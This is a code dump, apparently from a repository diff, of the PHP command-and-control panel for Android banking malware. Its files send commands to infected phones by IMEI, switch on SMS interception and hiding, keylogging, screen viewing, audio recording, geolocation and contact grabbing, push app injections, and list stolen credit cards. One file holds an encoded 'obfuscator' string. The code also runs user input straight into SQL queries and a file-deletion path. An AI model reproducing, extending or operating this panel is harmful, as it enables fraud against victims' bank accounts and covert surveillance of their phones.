if($que == "stopsocks5"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "stopsocks5::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
// $page = $_REQUEST['ref'];
|
||||
// header ("Location: /?cont=bots&page=$page");
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user']))){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
if (isset($_REQUEST['imei'])){
|
||||
include '../../config.php';
|
||||
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection3->exec('SET NAMES utf8');
|
||||
$set_IMEI = $_REQUEST["imei"];
|
||||
$comment = $_REQUEST["comment"];
|
||||
$statement = $connection3->prepare("UPDATE kliets SET av='$comment' WHERE IMEI = '$set_IMEI';");
|
||||
$statement->execute(array($set_IMEI,$comment));
|
||||
}
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
include "../../config.php";
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
|
||||
$type=htmlspecialchars(isset($_GET["t"]) ? $_GET["t"] : "");
|
||||
$file=htmlspecialchars(isset($_GET["f"]) ? $_GET["f"] : "");
|
||||
if(($type=="nums")&&($file != "")){
|
||||
$path = "../datalogs/numers/$file.html";
|
||||
unlink("$path");
|
||||
header ("Location:/".namefolder."/?cont=numbers");
|
||||
}
|
||||
if(($type=="files")&&($file != "")){
|
||||
$path = "../datalogs/files/$file";
|
||||
|
||||
unlink("$path");
|
||||
header ("Location:/".namefolder."/?cont=files");
|
||||
}
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,104 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user']))){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
//передаем данные для выпонения команд!!!-----
|
||||
if((isset($_POST["SAVESETTINGS"]))&&($statusCode))
|
||||
{
|
||||
include '../../config.php';
|
||||
|
||||
$urls = isset($_POST['adminkaurl']) ? $_POST['adminkaurl'] : "";
|
||||
|
||||
$urlInj = isset($_POST['injurl']) ? $_POST['injurl'] : "";
|
||||
|
||||
$intInterval = isset($_POST['intInterval']) ? $_POST['intInterval'] : "";
|
||||
|
||||
$checksms = isset($_POST['checksms']) ? $_POST['checksms'] : "";
|
||||
|
||||
$checkhidesms = isset($_POST['checkhidesms']) ? $_POST['checkhidesms'] : "";
|
||||
|
||||
$checkgeolocation = isset($_POST['checkgeolocation']) ? $_POST['checkgeolocation'] : "";
|
||||
|
||||
$checkInjectionsApps = isset($_POST['checkInjectionsApps']) ? $_POST['checkInjectionsApps'] : "";
|
||||
$secondInjectionsApps = isset($_POST['secondInjectionsApps']) ? $_POST['secondInjectionsApps'] : "";
|
||||
|
||||
$checkRequestGeolocation = isset($_POST['checkRequestGeolocation']) ? $_POST['checkRequestGeolocation'] : "";
|
||||
$secondRequestGeolocation = isset($_POST['secondRequestGeolocation']) ? $_POST['secondRequestGeolocation'] : "";
|
||||
|
||||
$findfiles = isset($_POST['findfiles']) ? $_POST['findfiles'] : "";
|
||||
|
||||
$checkGrab_auto = $_POST['checkGrab_auto'];
|
||||
$Grab_auto = "";
|
||||
if($checkGrab_auto=="1")
|
||||
{
|
||||
if (preg_match("/check_set/",print_r($_POST,true)))
|
||||
{
|
||||
foreach($_POST["check_set"] as $ch)
|
||||
{
|
||||
$Grab_auto="$Grab_auto|$ch";
|
||||
}
|
||||
}
|
||||
}
|
||||
$secondGrab_auto = $_POST['secondGrab_auto'];
|
||||
|
||||
$checkInjGrab = $_POST['checkInjGrab'];
|
||||
$InjGrab = "";
|
||||
if($checkInjGrab=="1")
|
||||
{
|
||||
if (preg_match("/check2_set/",print_r($_POST,true)))
|
||||
{
|
||||
foreach($_POST["check2_set"] as $ch)
|
||||
{
|
||||
$InjGrab="$InjGrab|$ch";
|
||||
}
|
||||
}
|
||||
}
|
||||
$secondInjGrab = $_POST['secondInjGrab'];
|
||||
|
||||
$checkPhoneContacts = isset($_POST['checkPhoneContacts']) ? $_POST['checkPhoneContacts'] : "";
|
||||
$secondPhoneContacts = isset($_POST['secondPhoneContacts']) ? $_POST['secondPhoneContacts'] : "";
|
||||
$checkStartGeolocation = isset($_POST['checkStartGeolocation']) ? $_POST['checkStartGeolocation'] : "";
|
||||
$secondStartGeolocation =isset($_POST['secondStartGeolocation']) ? $_POST['secondStartGeolocation'] : "";
|
||||
|
||||
//echo "$login|$password|$right";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$generateHash=generateHash(15);
|
||||
|
||||
$urls = $_POST['adminkaurl'];
|
||||
|
||||
$urlInj = $_POST['injurl'];
|
||||
|
||||
$sql = "UPDATE settingsall SET hash='$generateHash', intInterval='$intInterval', checksms='$checksms', checkhidesms='$checkhidesms', checkgeolocation='$checkgeolocation',
|
||||
checkInjectionsApps='$checkInjectionsApps', secondInjectionsApps='$secondInjectionsApps',
|
||||
checkRequestGeolocation='$checkRequestGeolocation',secondRequestGeolocation='$secondRequestGeolocation',
|
||||
checkGrab_auto='$checkGrab_auto',Grab_auto='$Grab_auto',secondGrab_auto='$secondGrab_auto',checkInjGrab='$checkInjGrab',
|
||||
InjGrab='$InjGrab',secondInjGrab='$secondInjGrab',checkPhoneContacts='$checkPhoneContacts',secondPhoneContacts='$secondPhoneContacts',
|
||||
checkStartGeolocation='$checkStartGeolocation',secondStartGeolocation='$secondStartGeolocation',urls='$urls', urlInj='$urlInj', findfiles='$findfiles'
|
||||
WHERE id='1';";
|
||||
$connect->query($sql);
|
||||
|
||||
header("Location: /".namefolder."/index.php?cont=settings&page=bots-settings");
|
||||
}
|
||||
function generateHash($length){
|
||||
$chars = 'abdefhiknrstyzABDEFGHKNQRSTYZ23456789';
|
||||
$numChars = strlen($chars);
|
||||
$string = '';
|
||||
for ($i = 0; $i < $length; $i++) {
|
||||
$string .= substr($chars, rand(1, $numChars) - 1, 1);
|
||||
}
|
||||
return $string;
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,36 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
//передаем данные для выпонения команд!!!-----
|
||||
if((isset($_POST["EDITUSER"]))&&($statusCode))
|
||||
{
|
||||
include '../../config.php';
|
||||
$id = $_POST['getID'];
|
||||
$login = $_POST['login'];
|
||||
$pass = $_POST['password'];
|
||||
$password = md5("$login $pass $login");
|
||||
$right = $_POST['RIGHT'];
|
||||
$tag = $_POST['tag'];
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$sql = "UPDATE t_users SET login='$login', password='$password', right_='$right',tag='$tag' WHERE id='$id';";
|
||||
$connect->query($sql);
|
||||
|
||||
header("Location: /".namefolder."/index.php?cont=settings&page=users");
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user']))){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
if (isset($_REQUEST['imei'])){
|
||||
include '../../config.php';
|
||||
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection3->exec('SET NAMES utf8');
|
||||
$set_IMEI = $_REQUEST["imei"];
|
||||
|
||||
$statement = $connection3->prepare("UPDATE kliets SET log='0' WHERE IMEI = '$set_IMEI';");
|
||||
$statement->execute(array($set_IMEI));
|
||||
}
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,129 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
|
||||
if($statusCode){
|
||||
include '../../config.php';
|
||||
$inj = "";
|
||||
$chkhideSMS = "";
|
||||
|
||||
$num = "";
|
||||
$sig1 = "";
|
||||
$sig2 = "";
|
||||
$chkinterceptSMS = "";
|
||||
$network="";
|
||||
$gps="";
|
||||
$color = "";
|
||||
$foreground = "";
|
||||
$keylogger="";
|
||||
|
||||
$check_record = "";
|
||||
$text_seconds = "";
|
||||
|
||||
$lookscreen = "";
|
||||
|
||||
|
||||
if(isset($_REQUEST["check_set"]))
|
||||
{
|
||||
$getInj = $_REQUEST["check_set"];
|
||||
$arrayInj = explode("/", $getInj);
|
||||
foreach($arrayInj as $ch)
|
||||
{
|
||||
$inj="$inj/$ch";
|
||||
}
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['chknetwork']))
|
||||
{
|
||||
$network = $_REQUEST['chknetwork'];
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['chkgps']))
|
||||
{
|
||||
$gps = $_REQUEST['chkgps'];
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['chkinterceptSMS']))
|
||||
{
|
||||
$chkinterceptSMS = $_REQUEST['chkinterceptSMS']; //перехват смс
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['chkhideSMS']))
|
||||
{
|
||||
$chkhideSMS = $_REQUEST['chkhideSMS']; //Скрытие смс
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['foreground']))
|
||||
{
|
||||
$foreground = $_REQUEST['foreground'];
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['keylogger']))
|
||||
{
|
||||
$keylogger = $_REQUEST['keylogger'];
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['check_record']))
|
||||
{
|
||||
$check_record = $_REQUEST['check_record'];
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['text_seconds']))
|
||||
{
|
||||
$text_seconds = $_REQUEST['text_seconds'];
|
||||
}
|
||||
|
||||
if (isset($_REQUEST['lookscreen']))
|
||||
{
|
||||
$lookscreen = $_REQUEST['lookscreen'];
|
||||
}
|
||||
|
||||
$imeis_ = $_REQUEST['text_imei_set'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
|
||||
foreach($imeis_ as $imeid)
|
||||
{
|
||||
$bool_imei="0";
|
||||
$dd="";
|
||||
if($imeid !="" )
|
||||
{
|
||||
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection3->exec('SET NAMES utf8');
|
||||
|
||||
$sql3 = "SELECT * FROM settings";
|
||||
foreach($connection3->query($sql3) as $imei)
|
||||
{
|
||||
$imei_ = $imei['IMEI'];
|
||||
$dd = "$imei_";
|
||||
if($imei_ == $imeid)
|
||||
{
|
||||
|
||||
$bool_imei="1";
|
||||
$sql3 = "UPDATE settings SET lookscreen='$lookscreen', inject = '$inj', del_sms='$chkhideSMS', state='1', avtootvet_num='$num', avtootvet_sig1='$network', avtootvet_sig2='$gps', avtootvet_true='$chkinterceptSMS',checkforeground='$foreground',keylogger='$keylogger',checkrecord='$check_record',recordseconds='$text_seconds' WHERE IMEI='$imeid';";
|
||||
$connection3->query($sql3);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($bool_imei=="0")
|
||||
{
|
||||
$add_db_set = $connection3->exec("insert into settings (IMEI, inject, del_sms, state, avtootvet_num, avtootvet_sig1, avtootvet_sig2, avtootvet_true,checkforeground,keylogger,checkrecord,recordseconds,lookscreen)value('$imeid','$inj','$chkhideSMS','1','$num','$network','$gps','$chkinterceptSMS','$foreground','$keylogger','$check_record','$text_seconds','$lookscreen')");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
class users_right{
|
||||
|
||||
function getPrivateTags()
|
||||
{
|
||||
$textThisTag="";
|
||||
$privateTag="";
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql2 = "SELECT * FROM t_users";
|
||||
foreach($connection->query($sql2) as $row)
|
||||
{
|
||||
$login = $row['login'];
|
||||
$right = $row['right_'];
|
||||
$tag = $row['tag'];
|
||||
|
||||
if($_SESSION['panel_user'] == $login)
|
||||
{
|
||||
$tag=str_replace(", ",",",$tag);
|
||||
$tag=str_replace(", ",",",$tag);
|
||||
$textThisTag="$textThisTag,$tag";
|
||||
}else{
|
||||
if($tag!="")$privateTag="$privateTag,$tag";
|
||||
}
|
||||
}
|
||||
$privateTag=str_replace(", ",",",$privateTag);
|
||||
$privateTag=str_replace(", ",",",$privateTag);
|
||||
return "$textThisTag|$privateTag";
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,203 @@
|
||||
<?php
|
||||
class functions{
|
||||
|
||||
function getBots(){
|
||||
$CountBots = 0;
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM kliets";
|
||||
|
||||
/****Ограничение по тегам****/
|
||||
$userRights = new users_right;
|
||||
$tags = explode("|", $userRights->getPrivateTags());
|
||||
$thisTag = explode(",", $tags[0]);
|
||||
$privateTag = explode(",", $tags[1]);
|
||||
/****************************/
|
||||
|
||||
foreach($connection->query($sql) as $row){
|
||||
$country = $row['country'];
|
||||
$version_apk = $row['version_apk'];
|
||||
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
|
||||
{
|
||||
$boolContinue=true;
|
||||
|
||||
if($tags[0]!=",")
|
||||
{
|
||||
foreach($thisTag as $tag)
|
||||
{
|
||||
if($version_apk == $tag)
|
||||
{
|
||||
if($tag!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if($boolContinue)continue;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach($privateTag as $tag)
|
||||
{
|
||||
if($version_apk == $tag)
|
||||
{
|
||||
if($tag!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boolContinue)continue;
|
||||
}
|
||||
}//---------------
|
||||
|
||||
$CountBots++;
|
||||
}
|
||||
return $CountBots;
|
||||
}
|
||||
|
||||
function getCards(){
|
||||
$CountCards = 0;
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM cc";
|
||||
|
||||
/****Ограничение по тегам****/
|
||||
$userRights = new users_right;
|
||||
$tags = explode("|", $userRights->getPrivateTags());
|
||||
$thisTag = explode(",", $tags[0]);
|
||||
$privateTag = explode(",", $tags[1]);
|
||||
/****************************/
|
||||
|
||||
$sql = "SELECT imei FROM cc";
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$imei = $row['imei'];
|
||||
|
||||
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection2->exec('SET NAMES utf8');
|
||||
$sql2 = "SELECT IMEI, version_apk FROM kliets";
|
||||
foreach($connection2->query($sql2) as $row2)
|
||||
{
|
||||
if($row2['IMEI'] == $imei)
|
||||
{
|
||||
$tag = $row2['version_apk'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
|
||||
{
|
||||
$boolContinue=true;
|
||||
if($tags[0]!=",")
|
||||
{
|
||||
foreach($thisTag as $tagZ)
|
||||
{
|
||||
if($tag == $tagZ)
|
||||
{
|
||||
if($tagZ!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if($boolContinue)continue;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach($privateTag as $tagZ)
|
||||
{
|
||||
if($tag == $tagZ)
|
||||
{
|
||||
if($tagZ!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boolContinue)continue;
|
||||
}
|
||||
}//---------------
|
||||
$CountCards++;
|
||||
}
|
||||
return $CountCards;
|
||||
}
|
||||
|
||||
function getInjections(){
|
||||
$CountInj = 0;
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM cc";
|
||||
|
||||
/****Ограничение по тегам****/
|
||||
$userRights = new users_right;
|
||||
$tags = explode("|", $userRights->getPrivateTags());
|
||||
$thisTag = explode(",", $tags[0]);
|
||||
$privateTag = explode(",", $tags[1]);
|
||||
/****************************/
|
||||
|
||||
$sql = "SELECT idbot FROM injs";
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$imei = $row['idbot'];
|
||||
|
||||
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection2->exec('SET NAMES utf8');
|
||||
$sql2 = "SELECT IMEI, version_apk FROM kliets";
|
||||
foreach($connection2->query($sql2) as $row2)
|
||||
{
|
||||
if($row2['IMEI'] == $imei)
|
||||
{
|
||||
$tag = $row2['version_apk'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
|
||||
{
|
||||
$boolContinue=true;
|
||||
if($tags[0]!=",")
|
||||
{
|
||||
foreach($thisTag as $tagZ)
|
||||
{
|
||||
if($tag == $tagZ)
|
||||
{
|
||||
if($tagZ!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if($boolContinue)continue;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach($privateTag as $tagZ)
|
||||
{
|
||||
if($tag == $tagZ)
|
||||
{
|
||||
if($tagZ!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boolContinue)continue;
|
||||
}
|
||||
}//---------------
|
||||
$CountInj++;
|
||||
}
|
||||
return $CountInj;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
$obfuscator = "s9ZE\x41qkp\x2b\x634qGmWpRUUlxRp\x41TnJqSryJWWpxYpJG\x61kliTlpeZlU6\x62nE4q7g4t\x61ggNz85rxSdg0MNXFh\x42T10tv\x63T\x61Xl0jJ7EsFQ\x41\x3d";
|
||||
?>
|
||||
@@ -0,0 +1,6 @@
|
||||
|
||||
<?php
|
||||
|
||||
|
||||
include ".\header.php";
|
||||
?>
|
||||
@@ -0,0 +1,671 @@
|
||||
<?php
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}
|
||||
|
||||
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
?>
|
||||
<div id="showAlert"></div>
|
||||
<script>
|
||||
function getTextFileLogs(imei){
|
||||
$.ajax({
|
||||
url: 'application/get/logBot.php?imei='+imei,
|
||||
success: function(data) {
|
||||
$('#textArea').append('<textarea id="logsTextArea" readonly name="mesage" wrap="virtual" class="textlog">'+data+'</textarea>');
|
||||
}
|
||||
});
|
||||
refreshContentTable();
|
||||
}
|
||||
function getSettingsBot(imei){
|
||||
$("#text_imei_set").val(imei);
|
||||
$('#comboBox_imeis2').append($('<option>', {
|
||||
value: '0',
|
||||
text: imei
|
||||
}));
|
||||
// ------ Clear Form -------
|
||||
var inputsClear = document.getElementsByTagName("input");
|
||||
for (var i = 0; i < inputsClear.length; i++) {
|
||||
if (inputsClear[i].type == "checkbox" && inputsClear[i].id == 'check_set') {
|
||||
inputsClear[i].checked = false ;
|
||||
}
|
||||
}
|
||||
document.getElementById("chkinterceptSMS").checked = false;
|
||||
document.getElementById("chkhideSMS").checked = false;
|
||||
document.getElementById("chknetwork").checked = false;
|
||||
document.getElementById("chkgps").checked = false;
|
||||
document.getElementById("check_foreground").checked = false;
|
||||
document.getElementById("check_keylogger").checked = false;
|
||||
document.getElementById("check_record").checked = false;
|
||||
document.getElementById("id_seconds").value = '';
|
||||
|
||||
$.ajax({url: 'application/get/settingsBot.php?imei='+imei, success: function(data) {
|
||||
var arrayData = data.split('|');
|
||||
var seconds = arrayData[0];
|
||||
var injections = arrayData[1].split('/');
|
||||
var interceptSMS = arrayData[2];
|
||||
var hideSMS = arrayData[3];
|
||||
var network = arrayData[4];
|
||||
var gps = arrayData[5];
|
||||
var status = arrayData[6];
|
||||
var foreground = arrayData[7];
|
||||
var keylogger = arrayData[8];
|
||||
var check_record = arrayData[9];
|
||||
var text_seconds = arrayData[10];
|
||||
|
||||
if(status!=null){
|
||||
if(status==1){
|
||||
document.getElementById("AstatusSettings").style.color='red';
|
||||
document.getElementById("statusSettings").innerHTML="Settings are not active, wait until the bot updates them..";
|
||||
}else{
|
||||
document.getElementById("AstatusSettings").style.color='#00FF00';
|
||||
document.getElementById("statusSettings").innerHTML="Settings are active!";
|
||||
}
|
||||
}
|
||||
|
||||
if(seconds!=null){
|
||||
document.getElementById("idSeconds").innerHTML=seconds;
|
||||
}
|
||||
|
||||
var inputs = document.getElementsByTagName("input");
|
||||
for(var j = 1; j < injections.length; j++){
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].value == injections[j]) {
|
||||
inputs[i].checked = true ;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(interceptSMS==1){
|
||||
document.getElementById("chkinterceptSMS").checked = true;
|
||||
}
|
||||
if(hideSMS==1){
|
||||
document.getElementById("chkhideSMS").checked = true;
|
||||
}
|
||||
if(network==1){
|
||||
document.getElementById("chknetwork").checked = true;
|
||||
}
|
||||
if(gps==1){
|
||||
document.getElementById("chkgps").checked = true;
|
||||
}
|
||||
if(foreground==1){
|
||||
document.getElementById("check_foreground").checked = true;
|
||||
}
|
||||
if(keylogger==1){
|
||||
document.getElementById("check_keylogger").checked = true;
|
||||
}
|
||||
if(check_record==1){
|
||||
document.getElementById("check_record").checked = true;
|
||||
}
|
||||
|
||||
if(text_seconds!=null){
|
||||
document.getElementById("id_seconds").value = text_seconds;
|
||||
}
|
||||
|
||||
|
||||
|
||||
}});
|
||||
}
|
||||
|
||||
function saveSetting(){
|
||||
var getImeis = document.getElementById("text_imei_set").value;
|
||||
|
||||
var injections = '';
|
||||
var inputs = document.getElementsByTagName("input");
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].checked == true) {
|
||||
injections = injections + '/' + inputs[i].value;
|
||||
}
|
||||
}
|
||||
var chkinterceptSMS = 0;
|
||||
if(document.getElementById("chkinterceptSMS").checked==true){
|
||||
chkinterceptSMS = 1;
|
||||
}
|
||||
|
||||
var chkhideSMS = 0;
|
||||
if(document.getElementById("chkhideSMS").checked==true){
|
||||
chkhideSMS = 1;
|
||||
}
|
||||
|
||||
var chknetwork = 0;
|
||||
if(document.getElementById("chknetwork").checked==true){
|
||||
chknetwork = 1;
|
||||
}
|
||||
|
||||
var chkgps = 0;
|
||||
if(document.getElementById("chkgps").checked==true){
|
||||
chkgps = 1;
|
||||
}
|
||||
|
||||
var foreground = 0;
|
||||
if(document.getElementById("check_foreground").checked==true){
|
||||
foreground = 1;
|
||||
}
|
||||
|
||||
var keylogger = 0;
|
||||
if(document.getElementById("check_keylogger").checked==true){
|
||||
keylogger = 1;
|
||||
}
|
||||
|
||||
var check_record = 0;
|
||||
if(document.getElementById("check_record").checked==true){
|
||||
check_record = 1;
|
||||
}
|
||||
|
||||
var text_seconds = document.getElementById("id_seconds").value;
|
||||
|
||||
|
||||
$.ajax({ url: "application/set/settingsBots.php?text_imei_set="+ getImeis +"&check_set="+ injections +"&chknetwork="+chknetwork+"&chkgps="+chkgps+"&chkinterceptSMS="+chkinterceptSMS+"&chkhideSMS="+chkhideSMS+"&foreground="+foreground+"&keylogger="+keylogger+"&check_record="+check_record+"&text_seconds="+text_seconds,
|
||||
cache: false});
|
||||
|
||||
startNatif('success','Successfully saved settings!');
|
||||
}
|
||||
|
||||
|
||||
</script>
|
||||
<div class="content" style="padding-top:15px;">
|
||||
|
||||
<form name='findCC' method='post'>
|
||||
<a style="margin-left: 35%;color: #EDB749;">
|
||||
Credit cards:
|
||||
</a>
|
||||
|
||||
<?php
|
||||
$getFind = $_GET["find"];
|
||||
|
||||
if(isset($_POST["find"]))//Открываем форму логи!
|
||||
{
|
||||
|
||||
$find=$_POST["textfind"];
|
||||
|
||||
header ("Location: /?cont=cards&find=$find");
|
||||
}
|
||||
|
||||
echo "<input type='text' name='textfind' value='$getFind' id='styled-select' style='color: #EDB749; background: #1D1F24; width:15%;border: 1px solid black; border-color: rgba(255,255,255,.5); border-radius: 8px;'></input>";
|
||||
|
||||
?>
|
||||
|
||||
|
||||
|
||||
|
||||
<input type='submit' value='FIND' name='find' style='margin-left:5px; width: 70px' class='btn btn-outline-secondary'/>
|
||||
</form>
|
||||
|
||||
|
||||
<table class="table table-hover table_dark" id="bootstrap-table">
|
||||
<thead class="header_table_bots">
|
||||
<th><a title="Android"><img src="images/icons/table/Android.png" width='25px'/></a></th>
|
||||
<th><a title="Cards"><img src="images/icons/table/card.png" width='23px'/></a></th>
|
||||
<!--<th>Bins</th> -->
|
||||
<th>Comments</th>
|
||||
<th><a title="Country"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
|
||||
</thead>
|
||||
|
||||
<?php
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM cc";
|
||||
|
||||
if(isset($_POST["click_log"]))//Открываем форму логи!
|
||||
{
|
||||
|
||||
$log_IMEI = $_POST["click_log"];
|
||||
echo "<script>";
|
||||
echo "$(document).ready(function(){";
|
||||
echo "$('#log_modal').css({'display':'block'});";
|
||||
echo "});";
|
||||
echo "</script>";
|
||||
}
|
||||
|
||||
if(isset($_POST["click_set"]))//Открываем форму настроек!
|
||||
{
|
||||
|
||||
$set_IMEI = $_POST["click_set"];
|
||||
echo "<script>";
|
||||
echo "$(document).ready(function(){";
|
||||
echo "$('#set_modal').css({'display':'block'});";
|
||||
echo "});";
|
||||
echo "</script>";
|
||||
}
|
||||
|
||||
|
||||
if (preg_match("/kom_save/",print_r($_POST,true)))
|
||||
{
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$str = print_r($_POST,true);
|
||||
$str = str_replace("[kom_save","!!!",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("!!!", $str);
|
||||
$massiv = explode("@@@", $massiv[1]);
|
||||
$str = $massiv[0];
|
||||
|
||||
$comments = $_POST["komment$str"];
|
||||
$statement = $connection->prepare("UPDATE cc SET comments = '$comments' WHERE numbercard = '$str'");
|
||||
$statement->execute([$comments]);
|
||||
$statement->execute([$str]);
|
||||
}
|
||||
|
||||
if (preg_match("/delete/",print_r($_POST,true)))
|
||||
{
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
